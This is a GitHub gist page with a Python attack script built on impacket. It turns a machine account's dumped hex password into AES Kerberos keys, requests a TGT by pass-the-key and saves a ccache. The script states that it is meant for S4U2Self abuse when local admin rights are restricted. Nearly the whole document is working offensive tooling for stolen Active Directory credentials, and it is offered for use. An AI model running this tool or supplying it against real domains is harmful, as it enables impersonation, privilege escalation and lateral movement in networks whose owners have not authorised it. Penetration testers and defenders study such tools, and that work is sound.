Skip to content

Instantly share code, notes, and snippets.

@1r0BIT
Last active July 15, 2025 08:24
Show Gist options
  • Select an option

  • Save 1r0BIT/7cde2b16e0760a0650633cb9f9884c0a to your computer and use it in GitHub Desktop.

Select an option

Save 1r0BIT/7cde2b16e0760a0650633cb9f9884c0a to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
"""
This half-assed script derives AES keys from a machine account's encoded hex password
(secretsdump or nxc output) and requests a Kerberos TGT using those keys.
Intended use is for S4U2Self abuse when Local Admins are restricted and RC4 is not an option.
Use at your own risk, this is a caffeine-induced, vibe-coded mess.
You have been warned.
Author: @0xr0BIT
"""
import argparse
import json
from binascii import unhexlify, hexlify
from impacket.krb5.constants import EncryptionTypes, PrincipalNameType
from impacket.krb5.crypto import string_to_key
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
def calc_keys(password: bytes, salt: bytes):
"""
Given raw password bytes and a salt, derive AES128 and AES256 keys.
"""
ciphers = {
'aes128_hmac': EncryptionTypes.aes128_cts_hmac_sha1_96.value,
'aes256_hmac': EncryptionTypes.aes256_cts_hmac_sha1_96.value,
}
results = {}
# For an arbitrary byte-password, string_to_key expects UTF-8 text,
# so we “replace” any invalid sequences.
decoded_pass = password.decode('utf-16le', 'replace').encode('utf-8', 'replace')
for name, enctype in ciphers.items():
key = string_to_key(enctype, decoded_pass, salt)
results[name] = key.contents # raw bytes
return results
def calc_machine_keys(domain: str, hostname: str, hexpassword: str):
"""
Build the proper salt for machine accounts, then derive keys.
Salt: UPPER(domain) + "host" + lower(hostname) + "." + lower(domain)
e.g. "EXAMPLE.comhostpc$.example.com"
"""
pwd_bytes = unhexlify(hexpassword)
name = hostname.lower().rstrip('$')
salt = f"{domain.upper()}host{name}.{domain.lower()}".encode('utf-8')
return calc_keys(pwd_bytes, salt)
def main():
p = argparse.ArgumentParser()
p.add_argument('-f','--blob-file', required=True,
help="File with the machine-account hex password")
p.add_argument('-d','--domain', required=True,
help="AD domain")
p.add_argument('-m','--machine', required=True,
help="Machine name with trailing $")
p.add_argument('--dc-ip', default=None,
help="Optional KDC/DC IP or hostname")
args = p.parse_args()
# 1) Read hexblob from disk
hexblob = "".join(open(args.blob_file).read().split())
# 2) Derive AES keys
keys = calc_machine_keys(args.domain, args.machine, hexblob)
aes256 = keys['aes256_hmac']
# 3) Request TGT by passing the raw 32-byte AES256 key
client = Principal(args.machine, type=PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, old_skey, new_skey = getKerberosTGT(
clientName = client,
password = None,
domain = args.domain.upper(),
lmhash = b'', # empty LM
nthash = b'', # empty NT
aesKey = aes256, # pass-the-key
kdcHost = args.dc_ip,
serverName = 'krbtgt'
)
# 4) Save out a ccache for later use
ccache = CCache()
ccache.fromTGT(tgt, old_skey, old_skey)
ccache_file = f"{args.machine}.ccache"
ccache.saveFile(ccache_file)
print(f"[+] Derived keys: {{'aes128_hmac': '{hexlify(keys['aes128_hmac']).decode()}', "
f"'aes256_hmac': '{hexlify(aes256).decode()}'}}")
print(f"[+] TGT saved to {ccache_file} (export KRB5CCNAME to use it)")
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment